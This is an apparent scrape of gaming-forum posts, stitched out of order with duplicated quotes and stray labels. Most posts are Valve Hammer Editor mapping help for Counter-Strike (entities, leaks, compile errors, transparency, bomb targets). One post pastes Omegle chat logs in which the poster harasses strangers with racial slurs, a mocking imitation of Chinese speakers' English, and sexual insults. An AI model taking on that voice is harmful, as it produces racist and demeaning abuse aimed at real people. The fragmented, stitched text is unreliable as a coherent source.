The same thing happens to me. I'll go to click on an object and it usually selects something behind the one I'm actually trying to select.
Maybe its just how the program is... either that, or we both get the same issue xD
Truck
User
the_cloud_system said:
sence i cant find 2 keybords fighting and knocking the shit out of each other ill just PRETEND that pic was there with "epic keybord figting"



but alas no...



I hope this does

code
Sick vid
User
code
User
It would take an impressive interaction of a lightsaber with an object to be anything of note. Like, it would have to cauterize something.
Truck
User
Sushi said:
Well, on the func_button, I only see "Target Path" not "Target".


Sorry thats targeted object jus' above target path.
User
Fuck Counter Strike, its Omegle time.
. .. .
.. .... ..
... ...... ...
................
... ...... ...
.. .... ..
. .. .
I'm sorry Counter Strike, I didn't mean that.

You: hello
Stranger: hey
Stranger: asl?
You: no i like dicks
Stranger: you female?
You: my legs are hairy
Your conversational partner has disconnected.
--------------penis--------------------------
You: hello
Stranger: hi
Stranger: asl
You: im a big black woman looking for the right man
Your conversational partner has disconnected.
------------------------------pussy--------------
You: hey
Stranger: yo
You: fuck you
You: dont call me that
Stranger: why
You: my mom get killed by Yo
Stranger: oh,im sorry
Stranger: im sorry for that
You: he chinese like me
Stranger: ?
You: Yo chinese
Stranger: ?
You: you no speak my languge
Stranger: yea
Stranger: u are right
Stranger: how do u know that?
You: you no talk like me
Stranger: yea
You: i no yea
Stranger: i know its hard to talk like u
You: no you talk like you
Stranger: yea
You: you confusing
Stranger: lol
You: what lol
Stranger: cuz en is not my first lang
You: what no get
Stranger: i can got u
Stranger: i cant got u
You: you no catch
Stranger: hehe maybe
You: you nasty
You: nasty
You: nasty
You: nasty
You: bad bad
Stranger: ok
You: you no make talk
Your conversational partner has disconnected.
-----------------------beaner----------------
Stranger: horny girl w/ pics?
You: hey
You: only if you like big black women
Your conversational partner has disconnected.
---------------------no comment---------------
You: hey
Stranger: hi
Stranger: boy?
You: girl
Stranger: horny?
You: only if you like big black women
Stranger: yeah
You: me no lie
You: me chinese
Your conversational partner has disconnected.
----------------------maybe one of these times i will come up with something offensive to my own race--------------------------------
You: heloo
Stranger: hi
Stranger: asl?
You: im a big black horny girl looking for the right man
Your conversational partner has disconnected.
-----------------------------------------------------------
this next one is one of the ones where you say it in your
head and it sounds ok but when you start typing it out you
go this isnt going to end good and as your brain sends the
message to your muscles to stop typing your pinky is jus'
releasing the enter button and then you look astounded
gasping at your poor judgement but you dont apologize
because that would mean youre wrong and youre chuck norris
you cant be wrong so you fly with it and once your flight is
done it comes back and slaps you in the face and says
'bitch what now?'
-----------------------------------------------------------
Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
You: hello
Stranger: hi
Stranger: how are you
You: you look like a fat ass whale no dont you
Stranger: no i swear
Stranger: i got a bit of a gut but thats it
You: im going to have to chain you to the bed and lick that fat off you
You: with whip cream
Stranger: as apealing as that sounds are you m or f?
You: im a black girl
Stranger: im a black man
You: no i lie
You: me chinese
You: me got you
You: haha
You: you sucker
You: you sucker like lollipop
Stranger: well i am a black man i wasnt lieing
You: me know you black
You: you no spell right
You: learn english you cheeky bastard
Your conversational partner has disconnected.
-----------------------------------------------------------
Stranger: hi
Stranger: u from?
You: bitch wheres my money
Stranger: -_-?:
You: oh sorry wrong person
You: i was looking for jimmy
Stranger: ok
You: have you seen him?
Stranger: -_-;;
You: he's got to be on this internet somewhere
Stranger: i'm from japan
Your conversational partner has disconnected.
-----------------------------------------------------------
Stranger: hii
You: hii
Stranger: whats up
You: jus so we're clear i am going to copy everything you say
You: whats up
Stranger: lol thanks for the warning, but may i ask why
You: lol thanks for the warning, but may i ask why
Stranger: kay well can you not please, im sick and feeling really bad
You: and because youre sick you deserve a day off from life?
Stranger: no im just saying
You: you dont get a day off from life
Stranger: i know
You: get back to work
Stranger: but i do from school XD
You: or i will whip you gain
You: bitch where's my money
Stranger: bitch the moneys at the store, i went and bought some chips and medicine
Stranger: lol
You: oh im sorry i thought you were jimmy
You: have you seen him?
Stranger: its kool XD
Stranger: no i have not
Stranger: did you check the moon?
You: hes got to be on this internet somewhere
Stranger: he might not be
You: no its jimmy he no go to no moon cod
Stranger: i guess
You: shut up you fat ass whale
You: fucking slutty ass whore
Stranger: im 84.5 pounds
Stranger: and a dude
Stranger: and ive only had sex once ><
You: oh sorry i thought you were jimmy again
Stranger: XD
You: slut
You have disconnected.
------jus' wait till the end-------------
code
User
code
Sick vid
User
Who watches AoTS?



code
User
Mate de Vita said:
I'm now jacking this truck in the name of science.
code
Sick vid


You mean this one?



Fucking sweet aint it?

So you watch any other 'good' tv shows?
I'm now jacking this truck in the name of science.
code
Sick vid


You mean this one?
User
For the dummies...

code
Sick vid
User
sprinkles said:
its a marching band playing almost easy....


code
Sick vid

Well i enjoyed your post man. A7X <3
User
You can put a func_button [with a health of 1] inside the breakable object to target your light.
User
Its Avenged Sevenfold [Band] || Almost Easy [song]

search youtube

the_cloud_system said:
code
Sick vid


ps im laughing on the inside


I saw that on websoup....omg so fucking funny
code
Sick vid


ps im laughing on the inside
User
the_cloud_system said:


I disagree....


I almost choked on air when I saw this.........

VIEWER DISCRETION IS ADVISED


code
Sick vid
User
its a marching band playing almost easy....


code
Sick vid
User
code
Sick vid
User
im not sure why this is happening, but the render mode and render amount probably have nothing to do with the reason it disappears.

render mode is the mode it renders the object(solid means if you set the render amount to a lower number it will become tranparent)
User
Its an exit sign on a wall.

Object Properties:

Name: Exit
Texture:EXIT1
angle 0
Truck
Cut the green wire!

Down Rodeo said:
No, they're Object-Oriented.
Huh?

(lol'd at htf method)
Truck
User
No, they're Object-Oriented. I kid you. I am not sure... try it, see what happens! One of my speakers works intermittently, I find the best method is HtF (Hit the Fucker). Works well in all circumstances.
User
Hi, just want to ask a few questions

1. How can I make my own skybox, want to make me a mario skybox since can't find anyone and just look to stupid on a mario map with a normal sky box :P

2. How can I make a wall I can shoot and throw nades true but dont run true it?

3. Can you turn teleports On and Off?

4. How can I can se the water from the sides? When I create it and dont got any object around it its invisible and can just se the texture from the top, not from the sides if you understand me.
Think it would been cool for portals.

5. Do you know of any programs so I can open .bsp files. No dont to steal their map, but maby how they have made some of the advance things on their map, that I dont have a clue to make my self.

6. How can I import my own sounds to valve hammer?

Everything if for Valve Hammer Editor 3.4 SDK
Truck
User
You'll need code like this:


<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0"
width="710" height="500" id="md1" align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="./md1.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#000000" />
<embed src="./md1.swf" quality="high" bgcolor="#000000"
width="710" height="500" name="md2" align="middle"
allowScriptAccess="sameDomain" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>


And you'll need to download www.superjer.com/media/resource_94ggj/md1.swf and put it in the same folder as your web page with that code on it.
User
So I have been making this jail break map and I would always get this error ":plane with no normal, :has coplanar plant at" It would happen every time I would try to compile. Like when I compile it would say it only once for one object, then when I compile again, it would say it again for another object. So I thought I could just destroy those objects and make another in its place but now it says
Error: Entity 336, Brush 0, Side 14: plane with no
normal
Error: Entity 336, Brush 0, Side 14: has a coplanar plane at (-1035, -2603, -377), texture POWER_CEILING1

I tried using ctrl + shift + g to get to that brush but it says "That brush number does not exist."

I don't know what to do, some1 help me please!
Truck
aaronjer said:
I'd call that two links, personally. I mean, you could say it's a single link between two posts, but you specifically said chain. And in a chain each object is referred to as a link, and not the connection between them.

Yeah, my bad, I fixed it as soon as I saw it. Ah, w/e.
User
I don't know what it means or how to properly fix it, but finding it is easy.

Press Ctrl + Shift + G

Then put in the numbers. Entity 0, so leave it blank. Brush 96, so put that in and press enter, then it should lead you to the cause of the error. Usually if it's part of a basketball net, then whole object is the error so delete the whole thing.
Truck
User
I'd call that two links, personally. I mean, you could say it's a single link between two posts, but you specifically said chain. And in a chain each object is referred to as a link, and not the connection between them.
Down Rodeo said:
float temp1 = a,temp2 = b;ratio = temp1/temp2;

So I first 'transform' the integers into floats and then divide them? OK.
Down Rodeo said:
A quick question: how much object-oriented programming have you done?

Well, actually I haven't really done any. I mean, I know what it is and understand its basic principals but I haven't really done any programming other than the simple procedural (or whatever it's called in english).
Down Rodeo said:
If you understand what a class is it would help quite a lot with understanding the basics of C++'s IO libraries.

Hmmm... again I only know as much as my dad mentioned while explaining object-oriented programming to me.
Down Rodeo said:
Coming from Pascal, C might be the better option :)

Yeah, I think I'm going to go for C first.
Down Rodeo said:
Since I said I'd not edit any more I'd recommend staying away from cin.ignore(). I can see that it is useful in some situations but using the redirect operator ( >> ) with cin does not require ignore().

So what about cin.get()? And is "cin.get()" the same as "cin.get"?



P.S. Happy birthday.
User
Because x and y are both integers the division performed will be integer as well, so 5/3 is 1. This is then implicitly cast to a float because you're assigning it to k1, I think. As in k1 = 1.0, which is obviously slightly different.

I think if you try using a.f and b.f it might work. No, it won't, that's C. C++ thinks I mean class members when I do that. SJ might know a way around this. Let's see:
#include <iostream> int main() { int a=5,b=3; float ratio=a/b; std::cout <<ratio<<std::endl; return 0; }


prints out 1.

You'll have to do something like:

float temp1 = a,temp2 = b;ratio = temp1/temp2;


which again through the magic of implicit casting will make life better.

A quick question: how much object-oriented programming have you done? If you understand what a class is it would help quite a lot with understanding the basics of C++'s IO libraries. Coming from Pascal, C might be the better option :)

My third and final edit recommends this as talking some sense. I might take a look at your site though. The one I've posted is... sensible. It doesn't overwhelm and the coding style greatly matches mine, which is happy-making.
User
well lets see i followed every direction to set up hammer but then when i started making map i couldnt apply textures.. i did put wads.. i put cstrike, halflife-cs? halflife? nd few others. i did right click and click on create object. i did pick a texture.. i did put my camera in a direction to see it. it just wunt apply.. ive done mapping be4 but a noob and i 4got stuff......... please help.. me i couldnt apply textures to my blocks..
Q: How do I make a sky for my map?

In Hammer, got to Map->Map Properties... and set environment map to "night" or another valid skybox name. Here are some CS sky names:

2desert
desert
backalley
badlands
blue
city1
cliff
cx
de_storm
Des
doom1
DrkG
dusk
forest
green
grnplsnt
hav
morningdew
office
show
showlake_
tornsky
TrainYard
tsccity_

Q: why is my map lagged
basically it depends on the "how much do i have" and the "how do i make Little of it"

how much objects do you have?
instead of LOTS boxes side by side (next to each other) just make one big rectangle and apply decals to the object!

to much complex models?

how big is the map?

is there a leak?
User
closed and reopened the map, got a error on a object and it was deleted, now i have the leak again

if i have
LEAK LEAK LEAK
LEAK LEAK LEAK
LEAK LEAK LEAK
LEAK LEAK LEAK

does it mean that i have a leak(s) or in this case 12 or 4?

4 leaks on different spots,

can anyone tell me how does a spawn point create a leak plz? thx

cause i just isolated the leaks to both CT & T spawn points
User
It wasn't much of a sketch really, its more like a object that is formed from characters on the keyboard put together in a certain way.
Truck
User
I had a much less interesting dream than usual last night. I was playing WOW with Les and Commie... I know, pretty lame compared to the usual. Also weird, because I normally can't stand that game. ANYWAY! I was doing it all wrong.

Essentially, I found a way to log into WOW without using a WOW account by using some hidden process in Diablo 2. Nobody else knew about it yet, but you could enter any WOW server with any Diablo 2 character on Battle.net. After some testing I found that every character except for Assassins had abnormally low stats, to the point where you couldn't really do anything with them. All characters would be at level 40 when you first entered the game, but their stats would be based on the the level, skills and equipment you had in Diablo 2. Meaning a level 92 with good gear was EXTREMELY powerful upon entering WOW at level 40. In WOW you would see that your character had no race (even though all D2 characters are human), their class was displayed as "D2ASSN" or something similar and was not aligned with Horde or Alliance and could attack or group with either side. You couldn't choose your appearance, you would always be the same model. It was about 3/4 the size a human in WoW is, had long, dark blue hair parted down the middle and base clothing vaguely resembling that of a Diablo 2 Assassin. Many of your equipment slots were missing, and were replaced with an Armor/No Armor toggle button that would change your model and give you a 75% damage reduction that completely ignored armor stats when turned on. The only gear you started with was a powerful shield, that when equipped and unequipped the model for would change randomly. This shield would give a further 15% damage reduction, which made your character very difficult to kill. All Assassins wore a hood and a cloak (not at all like D2) and they made the head and cloak slots unusable, even though they did nothing. Your hands, wrists, waist, feet, accessory and weapon slots were the only ones open to use.

Other than their basic attack and a pure damage (pure damage means it's unresistable, I don't even know if that exists in WoW) kick, Assassins had only 3 abilities when exported to WoW. I don't know if I would have gained more if I'd kept dreaming or not... they were:

Speed: Increases your movement and attack speed by 25%, slowly drains mana when active.

Wind: Turns you invisible (to everything, nothing can target you directly) for 30 seconds and increases your movement speed by 50%. It would wear off if you attacked.

Tempest: Pushes enemies back and stuns/damages them based on their model size in an AoE around you. Smaller target take more damage and are stunned longer. Also increases your attack speed by 400% for 10 seconds.

Yes, it really was that specific and detailed. Don't ask me why. Anyway, only if you had an Enigma in Diablo 2, you would have the ability to instantly teleport to any place in line of sight you double right clicked on. Kinda odd that the abilities were so detailed, and yet were mostly unlike Diablo 2 Assassin abilities.

I went on a Level 40 group quest with Les and Commie and discovered that an imported level 92 character was inordinately strong and could solo the entire thing without even taking damage. At one point in the quest, however, the first character entering (me) a room at the end would automatically be disabled until the other characters literally carried them out on a stretcher. A purple, iridescent stretcher. I don't get it either. I was unhappy to discover that I gained no experience upon completing the quest, and all of the loot disappeared when picked up. We tried another quest with the same result. I eventually discovered that the "D2ASSN" class could only gain XP and loot from killing other players. When you killed a player that was higher level than you they would lose some XP based on their level (which you would gain, like THE VAMPIRE! ^vv^) and they would drop one piece of equipped loot. The object they dropped would change into something else seemingly randomly when picked up, but I think it might have been altering it to make it wearable at your level. Killing higher level characters, by the way, was very easy. The town guards would totally ignore your conflict, and your target couldn't retaliate easily against an opponent that can turn invisible or teleport at will and stun you while invisible. Upon seeing me other players would say things like "WTF class is that?" or "Your character is broken." or "Quit hacking, noob!"... to which I would respond by shanking them.

After doing this for a while, Nezumi figured out a way to log onto WoW with an Asheron's Call character. In his case I warned him that stats in Asheron's Call were generally much lower than those of WoW, and that this was probably not a good idea. However, it turned out that an AC character would be modified to be the approximate strength of a WoW character of the same level. Given that Nezumi was like level 150, he was completely unstoppable. His character was far more broken than mine, and not just in it's indomitable fighting skills. Jumping would cause him to log off, running forward cause him to gain experience at 1% of the XP required to level every 100 feet, and running backwards would cause him to lose XP at the same rate. His attack spells could be dodged, like in AC, although nobody knew that... but his debuffs were so powerful that an endurance/health debuff would instantly kill almost any character. He still had mana conversion and the related spells from AC, meaning that it was essentially impossible for him to ever run out of health/mana/stamina or whatever he was using. Les and Commie eventually got mad that we were breaking the game so much, given that Nezumi had somehow summoned an armada of airships and was indiscriminately bombing the entire world, and they stopped playing. Nezumi even made it unplayable for me, at which point I woke up.

I should also mention that I woke up twice during this dream, and went straight back into it after going to the bathroom or whatever.
User
Hello guys, i whant to ask u if its possible to copy whole object, i mean structure.I made a big building in my map but i need 2 indentical of them.So if its possible, can someone tell me how can i do it ?
One day suddenly a problem in hammer appeard. When I click some object in 3D textured camera it doesn't select it any more.

How can I fix this?
Truck
User
when i create a brush, and press alt enter, its supposed to show object properties right? but it only shows VisGroups. last time i could set properties like func_water, but because i havent touched VHM for a year so i forgot how to set those properties so can someone help me
User
ye, i guess its possible that you could make a dictionary named Cloudy's dictionary,

Cake,
Object. Cake can be eaten. yummi yummi!
Translation: kake
User
Hi, im making a cs map and everything went good until i tryed to spawn/create a terrorist and counter-terrorist. The two combo boxes were i should choose which object it should be is empty. The combobox with the title Subjects just says "entries" and the one with objects is empty . Its like i dont have any "entity" (objects like lights and terrorsts) plz tell me were and how to import or download them. And when i try to click on the Toentity button it says:

"there are no eligible selected objects"

**BAD IMAGE**

and if they dont work:

http://img139.imageshack.us/my.php?image=problem.png

//Axdirix

zzz1123 said:
How do you make a thing breakable after a certain amount of hits? eg a box that needs to be hit 100 times by bullets before it breaks

You can't. You can however input a non-zero amount in the Strength property of the func_breakable and then you will need to "kill" it to break it (a Strength of 100 means that the object will break when it receives 100 or more points of damage).
zzz1123 said:
How do you make an object move after a specified amount of time? eg a platform that will start moving after 5 seconds

5 seconds after what? The beginning of the round or after being triggered? If you want it to start moving 5 seconds after it's been triggered, write 5 in the 'delay before trigger' property of whatever trigger entity you're using (func_button, trigger_multiple etc.).
zzz1123 said:
How do you disable one side? eg disable the terrorist side, only counter-terrorists are allowed

Well, I don't think you can disable CTs, you can however disable Terrorists by just not making any info_player_deathmatch entities. Though I don't see why you'd want to do that...
User
How do you make a thing breakable after a certain amount of hits? eg a box that needs to be hit 100 times by bullets before it breaks
How do you make an object move after a specified amount of time? eg a platform that will start moving after 5 seconds
How do you disable one side? eg disable the terrorist side, only counter-terrorists are allowed
User
I've been planning on making a deathrun map and I've been wondering how to make objects rotate, and how to have an object teleport you.
Can someone tell me how to do that?
Truck
User
i Created a boxx with aaatrigger texture i rightclick press tie to entity and get up a "object properties " box. i choose Class
func_buyzone and Attributes Team than ct or t or both if i want but there is no more options except angle and smartedit

and Flag,VisGroup but those 2 pages seems like rubish :P
User
Killer-Duck said:
It's usually easier to just select an object in the camera-view (just click on it).


when i do that nothing happens.

Is there anyways i can have "Camera [Shift + C]" ON whole the time?
i have to now do this: "Select tool, [Shift + C], Select tool, [Shift + C]Select tool, [Shift + C]." making maps like this gonna take forever
It's usually easier to just select an object in the camera-view (just click on it).

If you want to select a brush in one of the 2D-views you need to click on its colored outline or on its center "X".
User
thats not the problem i was aware of hiting enter , the issue is the fact that it wont active when pressed with only 1 clicking, have to do this huge area thing everytime and i so not want to do it, when could just click the object on Front/side section with select tool
User
thanks for helping out with those 2 sections eDan Co,
got them working as i wanted!

with 3rd i meant:

thats kinda the large area i was talking about, have to do all that with every object and when map comes huge im sure it can starts to be problem with so many objects in it. Yes, i guess you can say the Select Tool isnt working
User
hey im totaly new to this forum but not same with valve hammer editor, after i started playing cs 1.6 again after long time i fancy making my own maps. Im just facing atm something i cant resolve, i downloaded 3.4v and setup all things in options. Problems i detected :

1)

useally that used to be a texture, now its some short of vertexy :D any texture i choose turns into that. ANY. I kinda tryed all options in 3D / 2D option part but no result. The textures im using should be normal recommended Decals, Halflife, Liquids, Xeno.

2) Cant move Camera like i normaly could .

3) The arrow button u use to active anything at top corner, doesnt active straight away the object and it like needs to take large ammount of area until it does, its really frustrating. used to just anything active not same anymore.

Would very much appriciate some anwsers!

P.s: I wouldnt be in this sitsuation if my hard drive would had not died with the valve hammer origional in it, so this feels kinda bitter atm



thats just proof that i actually done some maps b4 :P
AntonFifty said:
Wow, thanks it actually worked :D

But I got another question;
How do I add items?
Because I'm trying to make my school as a map, and for that I will need chairs and tables and stuff like that.
Where do I get them?

Select the brush tool and then look at the right-bottom side of the screen. There should be two small bars, one saying Category and one Object or something like that. I think chairs and tables are under the category 'Primitives'.
Or you can make them out of brushes yourself. Or you can also download them as models and then use an I think cycler entity to import your model into the map.

P.S. If your school is big, you may have to forget about this as the engine does not allow large maps. I'm currently working on a three-floor building of small-medium size and I'm not really sure it will work once it's done.
User
Func_train Tutorial

A func_train is a brush-based entity that you can get to move around in some interesting ways. There are really two types of entities at work in each func_train, a func_train, and a path_corner. In this tutorial, you will see a couple uses for these entities that will hopefully enable you to do more things with your level. The concept of func_train is pretty simple, and being that simple, it's not a highly versatile entity. However, it is very easy to make and has more than a few uses.
Like I already said, we will be working with two types of entities, func_train, and path_corner. The func_train entity is the "train" itself, a brush-based entity. This can be one brush, or a group of brushes. This is the object that you will see moving in the game. The path_corner entities are very different, and as usual, I have an analogy to explain them.
When you do cross-country running or skiing, you will see flags tied to trees, or painted posts sticking out of the ground. These are marks that tell the runners what the path is that they should follow. It is assumed that a runner or a skier will follow along the track marked with these flags, and will not stray, because from each flag, he runs to the next one. Path_corner entities are like these flags, and the func_train is your runner. The func_train will always start at its first designated path_corner, and from there, it will move along the path established by the positioning of the consecutive path_corner entities. It will move from one path_corner to the next in a straight line, so with good positioning, you can form either curved or angular "tracks" for your func_train to follow. Let's see how this is done!

First of all, you need your func_train brush(es). What are they? Well that depends on what structure you want to move in your level. This can be a door, an elevator, a train, or just a moving platform. After you create this structure, click the toEntity button, and make the class func_train. Look, it has a name attribute! We all know what that means, it can be triggered! The next important attribute is First stop target. This is where we start getting into path_corner entities. You need to create at least one path_corner entity and give it a name. Then, put that name in the first stop target attribute field. This is where your train will not only start, but have a location in space. The first stop path_corner's center is where the func_train's center will be when you first start the level. This is very important to understand: the starting position of your func_train is not where it's located in your level at compile time, it'll be located where the first stop path_corner is. The attributes for the path_corner entities are very self explanatory, but not all of them apply to the func_train entity. For example, new train_rot speed does not apply in this case, you will learn more about this in upcoming func_tracktrain tutorials. If the wait for retrigger flag is checked, then the train will stop at that path_corner and wait until it's triggered again.

There are a few restrictions associated with func_trains. For example, as you can see in my example map, they cannot rotate or pivot. Also, you can't get a light to move along with your train, so if you plan on having your train move through some dark areas, I suggest you use texture-based lighting on the train brushes. Keep in mind that doing this will not make the train textures change shading as it moves along the track. Being an entity, your train will always have one shading. You can, however, control this static shading. The most common (and quite useful) method is creating a simple rectangular room someplace apart from your level. Then, create all of the func_train brushes in that room and set the entity properties. Then, put in some light entities or light-emanating textures to shade your train. The train brush will compile in this isolated room, but as I mentioned in the beginning, the train will materialize at its first path_corner entity. As a result, you will still have a train with static shading, but you will have some pretty flexible control over this lighting. Another restriction is that you can't have the player control the speed of the train like you have seen in the game. This can only be done with func_tracktrain entities,
User
1) http://zhlt.info/special-textures.html

2) When you are using the Brush tool, take a look at the bottom-right side of your screen. There are 2 drop-down lists: Categories and Objects (the Categories should already be on Primitives). Set the object to Cylinder. Now create your cylinder just like you would create a normal block. If you want to rotate the cylinder, use the Transformation Tool (Ctrl + M).

3) You can rescale, rotate and shift textures using the Texture Application Tool (Shift + A).

4) Open the armoury_entity's properties (Alt + Enter) and use the SmartEdit option. Things should be a lot clearer now.
User
Ok so i am making a Death run map because i want to make my own maps for my server and after i found the halflife.wad on the internet and got it working in hammer i see glass but when i make it it isn't see-through so i was wondering if there is a special texture or something to make see-through glass. that was my first question and my second one is i got this error i havnt gotten it before but i am guessing its because the map is to big? im not sure here is what the error is.

hlrad: Error: Exceeded MAX_PATCHES
Description: The map has a problem which must be fixed

also what is the tool called to highlight more than 1 object and then link them as one. (for example i make 2 brushes somehow highlight them both and then press a button and the next time i click on either one they both get highlighted).
Mate de Vita said:
Create a func_bomb_target where you want the terrorists to be able to plant the bomb.
In its properties set the target to multi.

Make a multi_manager and give it the name multi, disable smartedit and press add. In the 'key' field write exp and in the 'value' field write 0.
Press add again, in the key field write brush and in the value field 0 again.

Select the brush that you want to blow up, press ctrl+t and select func_breakable from the list. Give it the name brush. In the flags check trigger only.

Make an env_explosion inside the brush, name it exp and set the magnitude to wahtever you want.


You don't need all that!You only need a func_bomb_target and a func_breakable. Set it up so the func_bomb_target targets the func_breakable, then in the properties of the func_breakable set "Explode magnitude" to a value higher than 0 and an explosion will be created when the object is destroyed.
Truck
User

** Executing...
** Command: Change Directory
** Parameters: C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike


** Executing...
** Command: Copy File
** Parameters: "C:\Users\ex3emealle\Desktop\de_confused.map" "C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused.map"


** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qcsg.exe
** Parameters: "C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused"

qcsg.exe v2.8 (Jan 31 2000)
---- qcsg ----
entering C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused.map
CreateBrush: 0...1...2...3...4...5...6...7...8...9... (0)
CSGBrush: 0...1...2...3...4...5...6...7...8...9... (1)
Using WAD File: \users\ex3emealle\desktop\de_inferno.wad
Using WAD File: \program files\valve\steam\steamapps\ex3emealle\counter-strike\cstrike\wads\cs_bdog.wad
WARNING: texture GENERIC039 not found in BSP's wad file list!
WARNING: texture PREFAB_POT1 not found in BSP's wad file list!
WARNING: texture {SHRUB1B not found in BSP's wad file list!
WARNING: texture {RAIL2 not found in BSP's wad file list!
WARNING: texture GENERIC039 not found in BSP's wad file list!

************ ERROR ************
Textures exceeded MAX_MAP_MIPTEX

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qbsp2.exe
** Parameters: "C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused"

qbsp2.exe v2.2 (Dec 28 1998)
---- qbsp2 ----

************ ERROR ************
ReadSurfs: 2586 > numplanes

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\vis.exe
** Parameters: "C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused"

vis.exe v1.3 (Dec 30 1998)
---- vis ----
2 thread(s)
LoadPortals: couldn't read C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused.prt
No vising performed.

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qrad.exe
** Parameters: "C:\Program Files\Valve\Steam\SteamApps\ex3emealle\counter-strike\cstrike\maps\de_confused"

qrad.exe v 1.5 (Apr 6 2000)
----- Radiosity ----
2 threads
[Reading texlights from 'C:\PROGRA~1\VALVEH~1\tools\lights.rad']
[1 texlights parsed from 'C:\PROGRA~1\VALVEH~1\tools\lights.rad']

737 faces
49659 square feet [7150928.00 square inches]
3449 patches after subdivision
1 direct lights
BuildFacelights: 0...1...2...3...4...5...6...7...8...9... (2)
visibility matrix: 0.7 megs
BuildVisLeafs: 0...1...2...3...4...5...6...7...8...9... (1)
MakeScales: 0...1...2...3...4...5...6...7...8...9... (0)
transfer lists: 4.2 megs
SwapTransfersTask: 0...1...2...3...4...5...6...7...8...9... (0)
GatherLight: 0...1...2...3...4...5...6...7...8...9... (0)
Bounce #1 added RGB(58452, 58452, 58452)
FinalLightFace: 0...1...2...3...4...5...6...7...8...9... (0)

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 1/400 64/25600 ( 0.3%)
planes 277/32767 5540/655340 ( 0.8%)
vertexes 989/65535 11868/786420 ( 1.5%)
nodes 243/32767 5832/786408 ( 0.7%)
texinfos 117/8192 4680/327680 ( 1.4%)
faces 737/65535 14740/1310700 ( 1.1%)
clipnodes 685/32767 5480/262136 ( 2.1%)
leaves 145/8192 4060/229376 ( 1.8%)
marksurfaces 941/65535 1882/131070 ( 1.4%)
surfedges 3534/512000 14136/2048000 ( 0.7%)
edges 1775/256000 7100/1024000 ( 0.7%)
texdata [variable] 532/2097152 ( 0.0%)
lightdata [variable] 113280/2097152 ( 5.4%)
visdata [variable] 2668/2097152 ( 0.1%)
entdata [variable] 7167/131072 ( 5.5%)
=== Total BSP file data space used: 199029 bytes ===
3 seconds elapsed



What shall i do to be able to open the map=?
Truck
Mate de Vita said:
scorch-1995 said:
Mate de Vita said:
eDan Co. said:
Armoury_entities always fall to the ground. There is no way (I've heard of) for having it hover in the air.

hmm... depends on how you want it to hover... You could make an invisible brush in the air and place it on it. But then players won't be able to go through the brush...


Oh well... Thank you!
And do you know why I can't use my entities in VHE?

what do you mean by that? You mean you can't find them, can't place them on the map, they don't work ingame?


In VHE, when I'm making a map I click the entity button and on the right where I choose what entity I want to use, I click on it and nothing. There's no entities. Even when I select an object and put Tie to Entity (Ctrl+T) There will be no entities to choose from.
Truck
Hey there! Maybe it is a stupid and easy to answer question but: How can I make an object that makes you go very fast. Like when I walk over it, it will kind of like push you and give you speed. Can you help me? Thank you very much!
Truck
Don't you know howcome when I make my object and try to make it transparent, why does it get invisible? I tried 50, 100, 150, 200, 250 and 255 even 255 is invisible. My invisible is off.
Truck
Mate de Vita said:
scorch-1995 said:
Killer-Duck said:
Then you need to update your fgd: http://www.superjer.com/files/cs-fgd-xp_8u.zip Unzip everything to your Hammer-directory and tell Hammer to use the new FGD (Tools->Options->Game Configurations->Game Data Files box, remove the old fgd and "Add" the new one(counter-strike.fgd), then restart Hammer and you should have the new entities).


Thank you! And would you know how I can make things Transparent?

Set the FX Amount to 0 if you want them invisible, 255 if you want them fully textured, something in between if you want them transparent (the number depends on how transparent you want the object to be - try out a few different numbers, see which one you like the best).


Thank you! I was thinking of making like a he_tennis map .
Truck
scorch-1995 said:
Killer-Duck said:
Then you need to update your fgd: http://www.superjer.com/files/cs-fgd-xp_8u.zip Unzip everything to your Hammer-directory and tell Hammer to use the new FGD (Tools->Options->Game Configurations->Game Data Files box, remove the old fgd and "Add" the new one(counter-strike.fgd), then restart Hammer and you should have the new entities).


Thank you! And would you know how I can make things Transparent?

Set the FX Amount to 0 if you want them invisible, 255 if you want them fully textured, something in between if you want them transparent (the number depends on how transparent you want the object to be - try out a few different numbers, see which one you like the best).
User
Mate de Vita said:
Danemj3 said:
uhhh sry to keep asking 3443534 questions but for a bomb map you use the AAA texture, invis, etc and do func_bomb_target? and does the bomb automatically spawn with a T? and where is says target(when bomb blows up) that means if i name something "example1" and type that where it says target when bomb blows up that object will blow up with it? and if i name 50 things the same name they all blow up with it?

also any way to spawn as a t and test it?

yes a func_bomb_target is the area where you can plant the bomb. Note that it doesn't need to touch the floor, it only needs to be reachable by a player. But it can as well touch the floor (touch, not be in it).
Yes, the bomb should spawn with a T automatically if there is a func_bomb_target entity somewhere. I think
The target of the func_bomb_target won't necessarily blow up, it will just be triggered. You can however trigger an env_explosion which will (surprisingly) cause an explosion.
I think that if you want to trigger several things you have to use a multi_manager. Or (as KD said - probably works if he said it) name all the entities you want to trigger with the same name.

To spawn as a T, you could just start a new game, uncheck the CPU players (if you have them) and try.
Or you can do this:
Killer-Duck said:
Edit the .bat-file and add "+deathmatch 1" before "+map mapname":

eg:

Quote:

@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps"
pause
